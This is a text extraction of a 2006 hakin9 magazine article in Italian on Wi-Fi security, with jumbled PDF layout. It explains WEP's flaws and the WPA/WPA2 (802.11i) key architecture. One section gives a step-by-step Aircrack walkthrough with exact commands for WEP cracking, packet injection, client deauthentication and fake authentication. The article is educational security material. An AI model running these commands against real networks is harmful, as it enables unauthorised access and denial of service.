Sicurezza Wi-Fi – WEP, WPA e WPA2

Transcript

Sicurezza Wi-Fi – WEP, WPA e WPA2
Sicurezza Wi-Fi – WEP,
WPA e WPA2
Guillaume Lehembre
Articolo pubblicato nel numero 2/2006 della rivista hakin9
Tutti i diritti riservati. E vietato copiare e divulgare l’articolo in forma modificata.
Rivista hakin9, Casa editrice Software-Wydawnictwo, via Piaskowa 3, 01-067 Varsavia, Polonia; [email protected]
Sicurezza Wi-Fi – WEP,
WPA e WPA2
Prima pagina
Guillaume Lehembre
Grado di difficoltà
Il Wi-Fi (Wireless Fidelity) è una delle tecnologie wireless più
importanti dei nostri giorni ed è sempre più presente nei nostri
dispositivi: portatili, palmari e cellulari. Eppure c'è una aspetto
relativo alla sua configurazione che viene spesso trascurato:
la sicurezza. Analizziamo meglio la sicurezza dei metodi di
crittografia usati nelle moderne apparecchiature Wi-Fi.
A
nche quando i dispositivi Wi-Fi hanno
le misure di sicurezza attivate, viene
spesso usato un protocollo di cifratura
debole come il WEP. In questo articolo, esamineremo le debolezze del WEP e vedremo
come è facile crackare il protocollo. La deplorevole inadeguatezza del WEP mette in
evidenza la necessità di una nuova architettura
di sicurezza come lo standard 802.11i, quindi
analizzeremo da vicino anche i nuovi standard
WPA e WPA2 insieme ai loro limiti e la loro integrazione nei sistemi operativi.
In memoria del WEP
Il WEP (Wired Equivalent Privacy) era il protocollo di cifratura predefinito del primo standard
IEEE 802.11 introdotto nel lontano 1999. Esso
si basa su un algoritmo di cifratura RC4 con
una chiave segreta di 40 bit o 104 bit combinata
con un vettore d'inizializzazione (Initialisation
Vector, IV) di 24 bit per cifrare il messaggio in
chiaro M e il relativo checksum – il cosiddetto
valore di controllo dell'integrità (Integrity Check
Value, ICV). Il messaggio cifrato C viene quindi
prodotto con la seguente formula:
dove || è un operatore di concatenazione e +
è un operatore XOR. Come possiamo vedere, il vettore d'inizializzazione IV è la chiave
di sicurezza WEP, quindi per mantenere un
livello decente di sicurezza e minimizzare la
divulgazione, il vettore IV dovrebbe essere
aumentato per ogni pacchetto in modo che
i pacchetti successivi sono cifrati con chiavi diverse. Sfortunatamente in questo caso, il vettore IV è trasmesso in formato testo e lo standard
802.11 non si occupa dell'aumento del vettore
IV, lasciando questo metodo di sicurezza
Dall'articolo imparerai...
•
•
•
•
Cosa dovresti sapere...
•
•
C = [ M || ICV(M) ] + [ RC4(K || IV) ]
14
hakin9 Nº 2/2006
i limiti della crittografia WEP,
una panoramica generale sullo standard
802.11i e le sue implementazioni commerciali:
WPA e WPA2,
i concetti base del 802.1x,
le eventuali debolezze di WPA e WPA2.
www.hakin9.org
i concetti base dei protocolli TCP/IP e Wi-Fi,
conoscenza base di crittografia.
Sicurezza WEP, WPA e WPA2
a particolari componenti di terminali
wireless (punto d'accesso o scheda
wireless).
Breve storia del WEP
Il protocollo WEP non era stato creato
da esperti di sicurezza né da crittografi, quindi si rilevò subito vulnerabile
ai problemi relativi all'algoritmo RC4
descritti da David Wagner quattro
anni prima. Nel 2001, Scott Fluhrer,
Itsik Mantin e Adi Shamir (FMS in
breve) pubblicarono un famoso studio
sul WEP, mostrandone le vulnerabilità
in termini di RC4: la invariance weakness e gli attacchi a vettori IV conosciuti. Entrambi gli attacchi si basano
sul fatto che i bit nei byte iniziali del
keystream possono dipendere solo da
alcuni bit della chiave di cifratura (anche se di solito ogni keystream ha il
50% delle possibilità di essere diverso
dal flusso precedente). Dal momento
che la chiave di cifratura è composta
dalla concatenazione della chiave segreta e il IV, alcuni valori del vettore IV
possono generare chiavi deboli.
Le vulnerabilità vennero sfruttate
da strumenti di sicurezza come AirSnort che permettono alle chiavi WEP
di essere recuperate analizzando una
quantità sufficiente di traffico. Mentre
questo tipo di attacco potrebbe essere eseguito con successo su una rete
impegnata entro un intervallo di tempo ragionevole, il tempo richiesto per
l'elaborazione dei dati è abbastanza
lungo. David Hulton (h1kari) progettò
una versione ottimizzata dell'attacco,
prendendo in considerazione non solo
i primi byte del RC4 (come nel modello FMS), ma anche i successivi byte.
Questo portò ad una leggera riduzione dei dati richiesti per l'analisi.
La fase di verifica dell'integrità
soffre anche di gravi debolezze dovute
all'algoritmo CRC32 usato per questo
compito. CRC32 è usato di solito per
la rilevazione di errori, ma non era mai
stato considerato sicuro a livello crittografico a causa della sua linearità, come affermarono già Nikita Borisov, Ian
Goldberg e David Wagner nel 2001.
Da allora si ritiene che il WEP
fornisce un livello di sicurezza accettabile solo per utenze domestiche
e applicazioni non-cruciali. Tuttavia,
Fig. 1: Protocollo di cifratura WEP
anche questa utilità venne smentita
con l'apparizione degli attacchi KoreK
nel 2004 (attacchi FMS generalizzati
che comprendono le ottimazione di
h1kari), e l'attacco induttivo di Arbaugh che consente ai pacchetti arbitrari
di essere decriptati senza conoscere
la chiave attraverso il packet injection. Dei programmi per il cracking
come Aircrack di Christophe Devine
o WepLab di José Ignacio Sánchez
implementano questi attacchi e possono recuperare una chiave WEP di
128 bit in meno di 10 minuti (o poco
più, a secondo del punto accesso
specifico e la scheda wireless).
L'aggiunta di packet injection migliora notevolmente i tempi di cracking
del WEP, richiedendo non milioni, ma
solo migliaia di pacchetti con sufficienti IV unici – circa 150.000 per
una chiave da 64 bit e 500.000 per
una chiave da 128 bit. Con il packet
injection, raccogliere i dati necessari
richiedeva una manciata di minuti.
Al momento, WEP è quasi definitivamente morto (vedere Tabella 1) e non
ne è consigliabile l'uso neanche con
una chiave a rotazione.
I limiti di sicurezza del WEP potrebbero essere riassunte come segue:
•
•
•
•
debolezze dell'algoritmo RC4 del
protocollo WEP a causa della costruzione della chiave,
IV sono troppo brevi (24 bit – meno di 5000 pacchetti richiesti per
una probabilità del 50% di collisione) e riutilizzo di IV consentito
(nessuna protezione contro le
ripetizioni di messaggio),
nessuna valida verifica di integrità (CRC32 è usato per la rilevazione degli errori e non è sicuro a
livello crittografico a causa della
sua linearità),
nessun metodo integrato per l'aggiornamento delle chiavi.
Tabella 1. Storia del WEP
Data
Descrizione
Settember
1995
Possibile vulnerabilità RC4 (Wagner)
Ottober 2000
Primo studio sui limiti del WEP: Unsafe at any key size;
An analysis of the WEP encapsulation (Walker)
May 2001
Un attacco induttivo in testo chiaro contro il WEP/WEP2
(Arbaugh)
July 2001
Attacco CRC di tipo bit flipping – Intercepting Mobile
Communications: The Insecurity of 802.11 (Borisov,
Goldberg, Wagner)
August 2001
Attacchi FMS – Weaknesses in the Key Scheduling
Algorithm of RC4 (Fluhrer, Mantin, Shamir)
August 2001
Uscita di AirSnort
February 2002
Attacchi FMS ottimizzati da h1kari
August 2004
Attacchi KoreK (IV unici) – uscita di chopchop e chopper
July/August
2004
Uscita di Aircrack (Devine) e WepLab (Sanchez ) che
implementa gli attacchi KoreK
www.hakin9.org
hakin9 Nº 2/2006
15
Prima Pagina
Listing 1. Attivazione della modalità di monitoraggio
# airmon.sh start ath0
Interface
Chipset
ath0
Atheros
Richieste ARP
Driver
madwifi (monitor mode enabled)
Listing 2. Rilevazione di reti vicine e dei rispettivi client
# airodump ath0 wep-crk 0
BSSID
00:13:10:1F:9A:72
PWR
62
Beacons
305
# Data
16
BSSID
00:13:10:1F:9A:72
STATION
00:0C:F1:19:77:5C
Il cracking della chiave WEP
con Aircrack
Il cracking del WEP può essere facilmente eseguito usando strumenti
quali Aircrack (creato dal ricercatore
francese Christophe Devine). Aircrack contiene tre utility principali,
usate in tre fasi di attacco diverse
per il recupero della chiave:
•
•
•
airodump: per lo sniffing e la cattura delle reti provviste del WEP,
aireplay: per il packet injection
e aumento del traffico,
aircrack: per il cracking di chiavi
WEP attraverso la cattura di IV
unici.
Al momento aireplay supporta l'injection solo su determinati chipset wireless, mentre l'injection in modalità di
monitoraggio (monitor mode) richiede
i più moderni driver patchati. La modalità di monitoraggio è l'equivalente della modalità promiscua nelle reti wired,
e evitano il rifiuto dei pacchetti che non
sono intesi per l'host che monitora
(che è spesso svolto nel livello fisico
della pila OSI) e quindi consentendo
ai pacchetti di essere catturati. Con
i dirver patchati, è richiesta solo una
scheda wirelss per catturare e aumentare il traffico allo stesso tempo.
Lo scopo principale dell'attacco
è di generare traffico e catturare i vettori IV unici usati tra un client legittimo
e un punto d'accesso. Alcuni dati cifrati sono facilmente riconoscibili perché
hanno una lunghezza fissa, un indirizzo di destinazione fisso, ecc. Questo
16
hakin9 Nº 2/2006
PWR
56
CH
1
MB
48
Packets
1
ENC
WEP
ESSID
hakin9demo
ESSID
hakin9demo
è il caso dei pacchetti di richiesta ARP
(vedere Riquadro Richieste ARP),
che sono inviati all'indirizzo broadcast
(FF:FF:FF:FF:FF:FF) e hanno una
lunghezza fissa di 68 ottetti. Le richieste ARP possono essere ritrasmesse
per generare nuove risposte ARP da
un host legittimo, che risulta nello
stesso messaggio wireless cifrato con
i nuovi IV.
Nei seguenti esempi, 00:13:10:
1F:9A:72 è l'indirizzo MAC del punto
di accesso (BSSID) sul canale 1 con
il SSID di hakin9demo e 00:09:5B:
EB:C5:2B è l'indirizzo MAC del client
wireless (usando WEP o WPA-PSK,
a secondo dei casi). Per eseguire lo
sniffing avremo bisogno dei privilegi
di root.
Il primo passo è attivare la modalità monitor sulla nostra scheda
wireless (in questo caso un modello
Atheros), quindi possiamo catturare
tutto il traffico (vedere Listing 1). Il
passo successivo è rilevare le reti
vicine e i loro client controllando tutti
i 14 canali che le reti Wi-Fi possono
usare (vedere Listing 2).
Il risultato nel Listing 2 è interpretato come segue: un punto di accesso con il BSSID 00:13:10:1F:9A:
72 usa la cifratura WEP sul canale 1
con il SSID hakin9demo e un client
identificato dall'indirizzo MAC 00:
0C:F1:19:77:5C sono associati con
questa rete wireless e autenticati.
Una volta localizzata la rete di
destinazione, è necessario iniziare
la cattura sul canale corretto per
evitare di mancare i pacchetti mentre
www.hakin9.org
Il protocollo Address Resolution Protocol (ARP – RFC826) è usato per
tradurre un indirizzo IP di 32 bit in un
indirizzo Ethernet di 48 bit (le reti Wi-Fi
usano anche il protocollo Ethernet). Per
illustrarlo meglio, prendiamo un host A
(192.168.1.1) che vuole comunicare con
l'host B (192.168.1.2), un indirizzo IP
noto deve essere tradotto in un indirizzo MAC usando il protocollo ARP. Per
farlo, l'host A invia un messaggio broadcast con l'indirizzo IP dell'host B (Who
has 192.168.1.2? Tell 192.168.1.1).
L'host di destinazione riconosce l'indirizzo IP nel pacchetto è uguale al suo
e restituisce una risposta (192.168.1.2
is at 01:23:45:67:89:0A). La risposta
viene di solito memorizzata.
si scansionano gli altri canali. Il seguente comando produce lo stesso
output del comando precedente:
# airodump ath0 wep-crk 1
Successivamente, possiamo usare
le informazioni raccolte prima per
aumentare il traffico con aireplay.
L'injection inizierà quando ci appare
nella rete wireless una richiesta ARP
associata con il BSSID:
# aireplay -3 \
-b 00:13:10:1F:9A:72 \
-h 00:0C:F1:19:77:5C \
-x 600 ath0
(...)
Read 980 packets
(got 16 ARP requests),
sent 570 packets...
Infine, aircrack viene usato anche
per recuperare la chiave WEP. Attraverso il file pcap possiamo lanciare
questo passo finale mentre airodump
è ancora intento a catturare i dati (vedere Fig. 2 per i risultati):
# aircrack -x -0 wep-crk.cap
Altri tipi di attacchi con
Aircrack
Aircrack è in grado di lanciare anche
altri tipi di attacchi molto interessanti.
Analizziamone alcuni.
Sicurezza WEP, WPA e WPA2
Attacco 2: Deautenticazione
Questo attacco può essere usato per
recuperare un SSID nascosto (cioè
che non è broadcast), catturare una
handshake WPA a 4 vie o lanciare
un attacco di tipo Denial of Service
(ne parleremo in dettaglio più avanti,
nella sezione sul 802.11i). Lo scopo
dell'attacco è di obbligare il client
a ri-autenticarsi che, insieme ad una
mancata autenticazione per le trame
di controllo (usati per l'autenticazione,
associazione, ecc), consente all'aggressore di falsare gli indirizzi MAC.
Un client wireless può essere deautenticato con il seguente comando
facendo in modo che i pacchetti di deautenticazione siano inviati dal BSSID
al client MAC falsificando il BSSID:
# aireplay -0 5
-a 00:13:10:1F:9A:72
-c 00:0C:F1:19:77:5C
ath0
La de-autenticazione di massa è altrettanto possibile (anche se non sempre
affidabile) chiedendo all'aggressore
di falsificare continuamente il BSSID
e re-inviare il pacchetto di de-autenticazione all'indirizzo broadcast:
# aireplay -0 0
-a 00:13:10:1F:9A:72
ath0
Attacco 3: Decriptare
pacchetti WEP arbitrari senza
conoscerne la chiave
Questo attacco si basa su uno strumento proof-of-concept della KoreK
detto chopchop che è in grado di decriptare i pacchetti WEP cifrati senza
conoscerne la chiave. Il controllo di
integrità implementato sul protocollo
WEP permette ad un aggressore di
modificare sia un pacchetto cifrato
sia il CRC corrispondente. Inoltre,
l'uso dell'operatore XOR nel protocollo WEP significa che il byte
selezionato nel messaggio cifrato
dipende sempre dallo stesso byte
del messaggio in chiaro. Eliminando
l'ultimo byte del messaggio cifrato
genera una corruzione del messaggio ma permette anche di indovinare
il valore del byte corrispondente in
Fig. 2: Risultati di Aicrack dopo alcuni minuti
formato testo e adeguare il messaggio cifrato.
Se il pacchetto corretto è poi
re-injected nella rete, esso verrà
abbandonato dal punto di accesso
se la previsioni sono sbagliate (in tal
caso deve essere fatto una nuova
previsione), ma per una previsione
corretta verrà ritrasmesso come al
solito. Ripetendo l'attacco per tutti
i byte del messaggio si può decifrare
un pacchetto WEP e recuperare il
keystream. Tenente a mente che nel
protocollo WEP l'incremento del vettore IV non è obbligatorio, è possibile
riutilizzare questo keystream per
falsare i pacchetti successivi (riutilizzando lo stesso IV).
La scheda wireless deve essere
passata in modalità di monitoraggio
sul canale giusto (vedere l'esempio
precedente per una descrizione su come fare). L'attacco deve essere lanciato contro un client legittimato (ancora
00:0C:F1:19:77:5C nel nostro caso)
e aireplay dirà all'aggressore di accettare ogni pacchetto cifrato (vedere Listing 3). Vengono creati due file pcap:
uno per il pacchetto decifrato e l'altro
per il relativo keystream. Il file che ne
risulta può essere letto attraverso un
lettore adatto (useremo tcpdump)
– vedere Listing 4 per un ping di esempio scambiato tra due host.
Una volta catturato il keystream
è possibile falsare qualsiasi pacchetto. Di seguito vi presentiamo
una richiesta ARP falsata inviata da
www.hakin9.org
192.168.2.123 (00:0C:F1:19:77:5C)
a 192.168.2.103:
# arpforge \
replay_dec-0916-114019.xor \
1 \
00:13:10:1F:9A:72 \
00:0C:F1:19:77:5C \
192.168.2.123 \
192.168.2.103 \
forge-arp.cap
Infine, aireplay è usato per ritrasmettere questo pacchetto (vedere
Listing 5).
Questo metodo è meno automatico della falsificazione della richiesta
ARP eseguita da Aircrack (l'opzione
-1), ma è più scalabile – l'aggressore
può usare i keystream scoperti per
alterare qualsiasi pacchetto che non
appartiene più al keystream (altrimenti
è necessario espandere il keystream).
Attacco 4: Falsa
autenticazione
Il metodo per cracker la chiave WEP
appena descritto (Attacchi 1 e 3)
richiedono un client legittimo (reale
o virtuale, anche se reale è preferibile)
che sia associato ad un punto d'accesso affinché il punto d'accesso non
rifluiti i pacchetti a causa di un indirizzo
di destinazione non associato.
Se viene usata un'autenticazione
aperta, qualsiasi client può essere
autenticato e associato con un punto
di accesso, ma il punto di accesso ri-
hakin9 Nº 2/2006
17
Prima Pagina
fiuterà ogni pacchetto non cifrato con
la chiave WEP giusta. Nell'esempio
del Listing 6, Aireplay è usato per
falsificare un'autenticazione e un'associazione per il SSID hakin9demo
(BSSID: 00:13:10:1F:9A:72) con l'indirizzo MAC falsato 0:1:2:3:4:5.
Alcuni punti di accesso richiedono ai client di riassociarsi ogni 30 secondi. Questo comportamento può
essere imitato in aireplay sostituendo la seconda opzione (0) con 30.
Listing 3. Decriptare pacchetti WEP senza conoscere la chiave
# aireplay -4 -h 00:0C:F1:19:77:5C ath0
Read 413 packets...
Size: 124, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:13:10:1F:9A:72
Dest. MAC = 00:13:10:1F:9A:70
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 d500 0013 101f 9a72 000c f119 775c
0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c
0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76
0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c
0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4
0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6
0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1
0x0070: 3b88 c5b1 0843 0289 1bff 5160
Use this packet ? y
Saving chosen packet in replay_src-0916-113713.cap
Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373
Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671
(...)
Offset
35 (97% done) | xor = 83 | pt = 00 | 691
Offset
34 (98% done) | xor = 2F | pt = 08 | 692
Saving plaintext in replay_dec-0916-114019.cap
Saving keystream in replay_dec-0916-114019.xor
Completed in 183s (0.47 bytes/s)
.A.......r....w\
.....p.@.......,
\.'...h.#..GZ.[v
.x.....0...hV.Sl
pF_..K....j.4wt.
.......5#.U...[.
.+>.[...";.D7...
;....C....Q`
802.11i
frames written in
frames written in
1120ms
2013ms
frames written in
frames written in
2072ms
2076ms
Listing 4. Lettura di un file pcap
# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap
reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11)
11:40:19.642112 BSSID:00:13:10:1f:9a:72 SA:00:0c:f1:19:77:5c DA:00:13:10:1f:
9a:70
LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000),
ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:
ICMP echo request, id 23046, seq 1, length 64
Listing 5. Ritrasmissione di un pacchetto alterato
# aireplay -2 -r forge-arp.cap ath0
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:13:10:1F:9A:72
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 0201 0013 101f 9a72 000c f119 775c
0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c
0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c
0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a
0x0040: 49b7 52da
Use this packet ? y
Saving chosen packet in replay_src-0916-124231.cap
You must also start airodump to capture replies.
Sent 1029 packets...
.A.......r....w\
...............,
\.'.I.`.%.KF....
..S.o-.....3..Q.
I.R.
Listing 6. Falsa autenticazione
# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0
18:30:00 Sending Authentication Request
18:30:00 Authentication successful
18:30:00 Sending Association Request
18:30:00 Association successful
18
hakin9 Nº 2/2006
www.hakin9.org
Nel gennaio del 2001, nell'ambito
dell'IEEE venne creato un task group
i per migliorare l'autenticazione dei
dati 802.11 e la sicurezza crittografica.
Nell'aprile del 2003, la Wi-Fi Alliance
(un'associazione per la promozione
e la certificazione Wi-Fi) distribuì una
raccomandazione per rispondere alle
preoccupazioni delle aziende in merito alla sicurezza wireless. Tuttavia,
erano anche consapevoli del fatto che
i clienti non avrebbero sostituito la loro
attrezzatura tanto facilmente.
Nel giugno del 2004, venne
adottato lo standard 802.11i e ricette
il nome commerciale di WPA2 dalla
Wi-Fi Alliance stessa. Lo standard
IEEE 802.11i introdusse cambiamenti
fondamentali come la separazione
tra l'autenticazione dell'utente dalla
segretezza e l'integrità del messaggio,
fornendo una architettura di sicurezza
robusta e scalabile adatta sia per le
reti domestiche sia per grossi sistemi
aziendali. La nuova architettura per
le reti wireless è nominata Robust
Security Network (RSN) e utilizza l'autenticazione 802.1X, una distribuzione
della chiave robusta e nuovi meccanismi di segretezza e integrità dei dati.
Anche se l'architettura RSN
è molto complessa, essa fornisce
delle soluzioni sicure e scalabili per
le comunicazioni wireless. Un RSN
normalmente accetta solo dispositivi RSN, ma IEEE 802.11i definisce
anche un'architettura Transitional
Security Network (TSN) in cui possono partecipare sia RSN sia i sistemi WEP, consentendo anche agli
utenti di aggiornare i loro strumenti.
Se le procedure di autenticazione
o di associazione usate tra le sta-
Sicurezza WEP, WPA e WPA2
IEEE 802.1X e EAP
Il protocollo di autenticazione IEEE 802.1X (noto anche come Port-Based Network Access Control) è una framework sviluppata in origine per le reti wired che fornisce meccanismi di autenticazione, di autorizzazione e di distribuzione chiave, e implementano
il controllo sull'accesso per utenti che entrano nella rete. L'architettura IEEE 802.1X si
compone di tre entità principali:
•
•
•
il supplicant che entra nella rete,
l'autenticatore che fornisce il controllo sugli accessi,
il server di autenticazione che esegue le autorizzazioni.
Nelle reti wireless, il punto di accesso funge da autenticatore. Ogni porta fisica (porta
virtuale nelle reti wireless) si divide in due porte logiche che compongono il PAE (Port
Access Entity). L'autenticazione del PAE è sempre aperta e permette di far passare
i le trame di autenticazione mentre il servizio PAE viene aperto solo in seguito ad una
autenticazione andata a buon fine (come in uno stato autorizzato) per un certo periodo
di tempo (3600 secondi di default). La decisione di permettere l'accesso è eseguita di
solito dalla terza entità, cioè il server di autenticazione (che può essere un server Radius
dedicato o – per esempio nel caso di reti domestiche – un processo che gira su un punto
di accesso). La Fig. 3 illustra come queste tre entità comunicano tra loro.
Lo standard 802.11i esegue piccole modifiche al IEEE 802.1X per le reti wireless
per far fronte alla possibilità di furto di identità. L'autenticazione del messaggio deve essere incorporato affinché sia il supplicant sia l'autenticatore calcolino le chiavi segrete
e permettono la cifratura prima di accedere alla rete.
Il supplicant e l'autenticatore comunicano usando un protocollo EAP. Come potete
notare, il ruolo dell'autenticatore è essenzialmente passivo – potrebbe semplicemente inoltrare tutti i messaggi al server di autenticazione. EAP è una framework per il
trasporto di diversi metodi di autenticazione, accettando solo un numero limitato di
messaggi (Request, Response, Success, Failure), mentre gli altri messaggi intermediari dipendono dal metodo di autenticazione scelto: EAP-TLS, EAP-TTLS, PEAP,
Kerberos V5, EAP-SIM ecc. Quando l'intero processo è completato (a causa del
gran numero di possibili metodi non ci addentreremo nei dettagli), entrambe le entità
(cioè il supplicant e il server di autenticazione) hanno una chiave principale segreta.
La comunicazione tra l'autenticatore e il server di autenticazione procede utilizzando
il protocollo EAPOL (EAP Over LAN), usato nelle reti wireless per il trasporto di dati
EAP con i protocolli di livello superiore come Radius.
zioni utilizza una handshake a 4 vie,
l'associazione è detta RSNA (Robust
Security Network Association).
Per stabilire una comunicazione
è necessario avere quattro fasi (vedere Fig. 4):
•
•
•
•
pubblicizzate su Beacon o in un messaggio Probe Respond (seguendo un
Probe Request dal client). Ne segue
un'autenticazione aperta standard
(proprio come nelle reti TSN, dove
l'autenticazione è sempre a buon fine).
La risposta del client viene incluso nel
messaggio di tipo Association Request
confermato dalla risposta Association
Response dal punto di accesso. Le
informazioni sulla politica di sicurezza
è inviata nel campo RSN IE (Information Element) con i dettagli su:
•
•
•
•
metodi di autenticazione supportati (802.1X, Chiave segrete precondivisa (PSK)),
protocolli di sicurezza per traffico
unicast (CCMP, TKIP ecc.) – la
pairwise cipher suite,
protocolli di sicurezza per il traffico multicast (CCMP, TKIP etc.)
– il group cipher suite,
supporto per la pre-autenticazione, permettendo agli utenti di
pre-autenticarsi prima di passare
ad un nuovo punto di accesso
della stessa rete per un passaggio senza interruzioni.
La Fig. 5 raffigura la prima fase.
Fase 2: autenticazione 802.1X
La seconda fase è l'autenticazione
802.1X basata sul EAP e il metodo di
autenticazione concordato in precedenza: EAP/TLS con certificati client
e server (che richiedono una infrastruttura per chiave pubblica), EAP/
TTLS o PEAP per l'autenticazione
ibrida (con certificato richiesti solo
per i server) ecc. L'autenticazione
802.1X viene iniziata quando il punto
di accesso richiede i dati di identità
del client, con la risposta del client
contenente il metodo di autenticazione scelto. I messaggi adatti sono
poi scambiati tra il client e il server
accordo sulla politica di sicurezza,
autenticazione 802.1X,
derivazione e distribuzione di
chiave,
segretezza e integrità dei dati
RSNA.
Fase 1: Accordo sulla politica
di sicurezza
La prima fase richiede alle parti coinvolte nella comunicazione di stabilire
un accordo sulla politica di sicurezza
da adottare. Le politiche di sicurezza
supportate dal punto di accesso sono
Fig. 3: Modello IEEE 802.1X dalla specifica IEEE 802.1X
www.hakin9.org
hakin9 Nº 2/2006
19
Prima Pagina
La PMK stessa non è mai usata per il
controllo di cifratura o integrità. Invece, è usato per generare una chiave
di cifratura temporanea – per il traffico unicast si tratta di una PTK (Pairwise Transient Key). La lunghezza
della PTK dipende dal protocollo di
cifratura: 512 bit per TKIP e 384 bit
per CCMP. La PTK consiste di diverse chiavi temporanee:
•
Fig. 4: Le fasi operative del 802.11i
di autenticazione per generare una
chiave maestra comune (MK). Alla
fine della procedura, un messaggio
Radius Accept è inviato dal server di
autenticazione al punto di accesso
che contiene la MK e il messaggio
EAP Success per il client. La Fig. 6
rappresenta questa seconda fase.
Fase 3: Distribuzione
e gerarchia di chiave
La sicurezza nelle connessioni
dipende molto dalle chiavi segrete. Nel RSN, ogni chiave ha una
vita limitata e la sicurezza generale
è garantita da un'insieme di diverse
chiavi, organizzate in una gerarchia.
Quando viene stabilito un contesto di
sicurezza dopo una autenticazione
andata a buon fine, le chiavi temporanee (di sessione) vengono create
e aggiornate regolarmente fino
a quando il contesto di sicurezza non
viene chiuso. La generazione e lo
scambio delle chiavi sono affidati alla
terza fase. Si hanno due handshake
durante le derivazione delle chiavi
(vedere Fig. 7):
•
•
•
PSK viene generata dalla passphrase (da 8 a 63 caratteri)
o una stringa di 256 bit e fornisce una soluzione per le reti
domestiche e di piccole imprese
che non hanno un server di autenticazione,
se viene usato un server di autenticazione, la PMK è derivata
dall'autenticazione 802.1X MK.
Handshake a quattro vie per la
derivazione della PTK (Pairwise
Transient Key) e della GTK
(Group Transient Key),
Group Key Handshake per il rinnovo della GTK.
20
se viene usata una PSK (PreShared Key), PMK = PSK. La
hakin9 Nº 2/2006
•
•
Fig. 5: Fase 1: Accordo sulla politica di sicurezza
La derivazione della PMK (Pairwise
Master Key) dipende dal metodo di
autenticazione usato:
•
•
KCK (Key Confirmation Key
– 128 bit): Chiave per i messaggi
di autenticazione (MIC) durante
la Handshake a 4 vie e la Group
Key Handshake,
KEK (Key Encryption Key – 128
bit): Chiave per garantire la segretezza durante la Handshake a
4 vie e la Group Key Handshake,
TK (Temporary Key – 128 bit):
Chiave per la cifratura dei dati
(usata per TKIP o CMMP),
TMK (Temporary MIC Key – 2x64
bit): Chiave per l'autenticazione
Fig. 6: Fase 2: Autenticazione 802.1X
www.hakin9.org
Sicurezza WEP, WPA e WPA2
dei dati (usata solo da Michael
con TKIP). Una chiave dedicata
è usata per ogni lato delle comunicazione.
Questa gerarchia è riassunta nella
Fig. 8.
Tramite la Handshake a 4 vie,
iniziata dal punto di accesso, è possibile:
•
•
•
•
•
confermare la conoscenza del
client della PMK,
derivare una nuova PTK,
installare chiavi di cifratura e di
integrità,
cifrare il trasporto della GTK,
confermare la selezione di cifratori.
I quattro messaggi EAPOL-Key sono scambiati tra il client e il punto di
accesso durante la Handshake a 4
vie. Questo processo viene illustrato
nella Fig. 9.
La PTK viene derivata dalla PMK,
una stringa fissa, l'indirizzo MAC del
punto di accesso, l'indirizzo MAC del
client e due numeri casuali (ANonce
e SNonce, generati rispettivamente
dall'autenticatore e il supplicant). Il
punto di accesso inizializza il primo
messaggio selezionando il numero
casuale ANonce e lo invia al supplicant, senza cifrare il messaggio
o proteggendolo in alternativa contro
il miscuglio. Il supplicant genera il proprio numero causale SNonce e adesso può calcolare una PTK e le chiavi di
derivazione temporanee, quindi invia
SNonce e la chiave MIC calcolata dal
secondo messaggio usando la chiave
KCK. Quando l'autenticatore riceve
il secondo messaggio, può estrarre
SNonce (perché il messaggio non
è cifrato) e calcolare la PTK e le chiavi
di derivazione temporanee. Adesso
può verificare il valore della MIC nel
secondo messaggio e essere sicuro
che il supplicant conosca la PMK e
che ha calcolato correttamente la PTK
e le chiavi di derivazione temporanee.
Il terzo messaggio inviato dall'autenticatore al supplicant contiene la GTK (cifrata con la chiave
KEK), derivata da una GMK casuale
e GNonce (vedere Fig. 10 per dettagli), insieme ad una MIC calcolata
Fig. 7: Fase 3: Derivazione e distribuzione di chiave
Fig. 8: Fase 3: Pairwise Key Hierarchy
dal terzo messaggio usando la chiave KCK. Quando il supplicant riceve
questo messaggio, la MIC viene
controllata per essere sicuri che
l'autenticatore conosca la PMK e ha
calcolato correttamente la PTK e le
chiavi di derivazione temporanee.
L'ultimo messaggio riconosce il
completamento dell'intera handshake
e indica che il supplicant adesso installerà la chiave e iniziare la cifratura.
Dopo la ricezione, l'autenticatore installa le proprie chiavi dopo aver verificato il valore MIC. Quindi, il dispositivo
mobile e il punto di accesso hanno
ottenuto, calcolato e installato le chiavi
di cifratura e adesso sono in grado di
comunicare su un canale sicuro per
traffico unicast e multicast.
Il traffico multicast è protetto da
un'altra chiave, la GTK (Group Transient Key) generata da una chiave
principale detta GMK (Group Master
Key), una stringa fissa, l'indirizzo
www.hakin9.org
MAC del punto di accesso e un numero casuale GNonce. La lunghezza GTK dipende dal protocollo di
cifratura – 256 bit per la TKIP e 128
bit per la CCMP. La GTK si divide in
diverse chiavi temporanee:
•
•
GEK (Group Encryption Key):
Chiave per la cifratura dei dati
(usata da CCMP per l'autenticazione e la cifratura e dalla TKIP),
GIK (Group Integrity Key): Chiave
per l'autenticazione dei dati (usata solo da Michael con TKIP).
Questa gerarchia è riassunta nella
Fig. 10.
Durante il Group Key Handshake
vengono scambiati due messaggi EAPOL-Key tra il client e il punto di accesso. Questa handshake fa uso di chiave
temporanee generate durante la Handshake a 4 vie (KCK e KEK). Questo
processo è illustrato nella Fig. 11.
hakin9 Nº 2/2006
21
Prima Pagina
Protocol Data Unit). Entrambi si riferiscono ad un singolo pacchetto di
dati, ma il MSDU rappresenta anche
i dati prima della frammentazione,
mentre i MPDU sono unità di dati
multipli dopo la frammentazione. La
